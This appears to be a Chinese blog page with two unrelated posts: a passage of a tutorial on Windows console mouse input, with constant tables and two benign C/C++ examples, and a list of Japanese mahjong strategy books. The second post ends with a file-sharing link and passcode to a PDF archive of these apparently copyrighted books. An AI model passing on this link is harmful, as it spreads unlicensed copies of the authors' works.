2.第二个参数(dwButtonState)为鼠标的按键状态,包含的值如下:

鼠标按键状态码(dwButtonState) 说明
FROM_LEFT_1ST_BUTTON_PRESSED 最左边按键
FROM_LEFT_2ND_BUTTON_PRESSED 左起第二个按键
FROM_LEFT_3RD_BUTTON_PRESSED 左起第三个按键
FROM_LEFT_4TH_BUTTON_PRESSED 左起第四个按键
RIGHTMOST_BUTTON_PRESSED 最右边按键

3.第三个参数是键盘控制键状态,这个和上一章的内容是一样的;

4.最后一个参数(dwEventFlag)为事件状态:

事件状态码(dwEventFlag) 说明
DOUBLE_CLICK 双击
MOUSE_MOVED 移动
MOUSE_WHEELED 滚轮滚动(只适用于Windows 2000/XP)

在程序开头应加上

HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);
//这是用来添加鼠标输入设备的

用法举例

//我写的一个简单地例子
#include<iostream>
#include<windows.h>
using namespace std;
int main()
{
    HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
    HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE);

    CONSOLE_SCREEN_BUFFER_INFO bInfo;
    INPUT_RECORD mouseRec;
    DWORD res;

    while(1)
    {
        ReadConsoleInput(hIn, &mouseRec, 1, &res);//读取一个鼠标操作
        if(mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)//如果点击了左键
        {
            if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)//如果是双击
            {
                break;    //退出循环
            }
            else//单击的情况
            {
                cout<<mouseRec.Event.MouseEvent.dwMousePosition.X<<" "<<mouseRec.Event.MouseEvent.dwMousePosition.Y<<endl;//输出当前鼠标的位置
            }
        }
    }
    CloseHandle(hOut);  // 关闭标准输出设备句柄  
    CloseHandle(hIn);   // 关闭标准输入设备句柄  
}

摘自网络

#include <windows.h>  
#include <stdio.h>  
 
int main(void)  
{  
    // 获取标准输入输出设备句柄  
    HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);        
    HANDLE hIn = GetStdHandle(STD_INPUT_HANDLE); 
    CONSOLE_SCREEN_BUFFER_INFO bInfo;
    INPUT_RECORD    mouseRec;
    DWORD            res;
    COORD            crPos, crHome = {0, 0};
    printf("[Cursor Position] X: %2lu  Y: %2lu\n", 0, 0);    // 初始状态
    while (1)
    {
        ReadConsoleInput(hIn, &mouseRec, 1, &res);
 
        if (mouseRec.EventType == MOUSE_EVENT)
        {
            if (mouseRec.Event.MouseEvent.dwButtonState==FROM_LEFT_1ST_BUTTON_PRESSED)
            {
                if (mouseRec.Event.MouseEvent.dwEventFlags == DOUBLE_CLICK)
                {
                    break;    // 左键双击 退出循环
                }
            }            
            crPos = mouseRec.Event.MouseEvent.dwMousePosition;
            GetConsoleScreenBufferInfo(hOut, &bInfo);
            SetConsoleCursorPosition(hOut, crHome);
            printf("[Cursor Position] X: %2lu  Y: %2lu", crPos.X, crPos.Y);
            SetConsoleCursorPosition(hOut, bInfo.dwCursorPosition);
            switch (mouseRec.Event.MouseEvent.dwButtonState)
            {
                case FROM_LEFT_1ST_BUTTON_PRESSED:            // 左键 输出A
                    FillConsoleOutputCharacter(hOut, 'A', 1, crPos, &res);
                    break;        // 如果使用printf输出,则之前需要先设置光标的位置
     
                case RIGHTMOST_BUTTON_PRESSED:                // 右键 输出a
                    FillConsoleOutputCharacter(hOut, 'a', 1, crPos, &res);
                    break;
     
                default:
                    break;
            }
        }        
    }
    CloseHandle(hOut);  // 关闭标准输出设备句柄  
    CloseHandle(hIn);   // 关闭标准输入设备句柄  
    return 0;  
}

日本麻将资料整理

Thu Jul 06 2023 21:14:03 GMT+0800


书名一览(若要保证浏览体验,请关闭翻译)

《ASAPIN 天才雀士に麻雀のことを聞いたらバカ勝ちできた》
《Guzaku 傑作「何切る」300選》
《Guzaku 定石「何切る」301選》
《owata 三人麻雀の極意》
《ZERO ゼロ秒思考の麻雀》
《ZERO 麻雀強者の0秒思考》
《かにマジン 日本一麻雀が強いサラリーマンの必勝法》
《きよ アマチュア地方最強位が作る新麻雀マニュアル》
《みーにん 「統計学」のマージャン戦術》
《みーにん 知るだけで強くなる麻雀の2択》
《ゆうせー 実戦でよく出る!麻雀講義》
《中島準也 理論的思考で勝つ麻雀》
《二階堂亜樹 勝てる麻雀の基本》
《土井泰昭 勝つ人は知っている現代麻雀30の新常識》
《土田浩翔 運を育てる》
《堀内正人 麻雀の麒麟児の一打》
《堀慎吾 麻雀だから君は負けるんです》
《多井隆晴 多井熱》
《小林剛 スーパーデジタル麻雀》
《川村晃裕 麻雀勝ち組の鳴きテクニック》
《平澤元気 よくわかる麻雀の勝ち方》
《平澤元気 現代麻雀の秘技相手に対応させる技術》
《平澤元気 絶対にラスを引かない麻雀ラス回避35の技術》
《日本プロ麻雀連盟 麻雀基本手筋コレクション》
《朝倉康心 麻雀の失敗学》
《比嘉秀仁 強者の最近手筋100》
《水上直紀 麻雀AI戦術》
《独歩 序盤の鉄戦略》
《独歩 鉄押しの条件》
《石橋伸洋 進化するデジタル麻雀》
《石橋伸洋 黒いデジタル麻雀》
《福地誠 これだけで勝てる!麻雀の基本形80》
《福地誠 手作りと押し引きの鉄戦術》
《福地誠 麻雀10倍勝てるテクニック》
《福地誠 麻雀の正解》
《福地誠 麻雀テクニック》
《福地誠 麻雀勝ち組の選択》
《福地誠 麻雀勝ち組の選択II》
《菊池翔 絶対に負けない最強麻雀戦術》
《藤田晋 仕事が麻雀で麻雀が仕事》
《近代麻雀 プロに挑戦!!麻雀検定》
《近代麻雀 麻雀プロMリーグ選手名鑑》
《近藤誠一 大きく打ち大きく勝つ麻雀》
《鈴木たろう ゼウスの選択》
《馬場裕一 バビーのメンチン何切る》
《鳳南研究所 現代麻雀の神ワザ》

下载链接

资料来源于网络

仅供交流学习使用,不得用于任何商业用途

https://cowtransfer.com/s/cc797d6a256440 点击链接查看 【 PDF.zip 】 ,或访问奶牛快传 cowtransfer.com 输入传输口令 f4jzju 查看;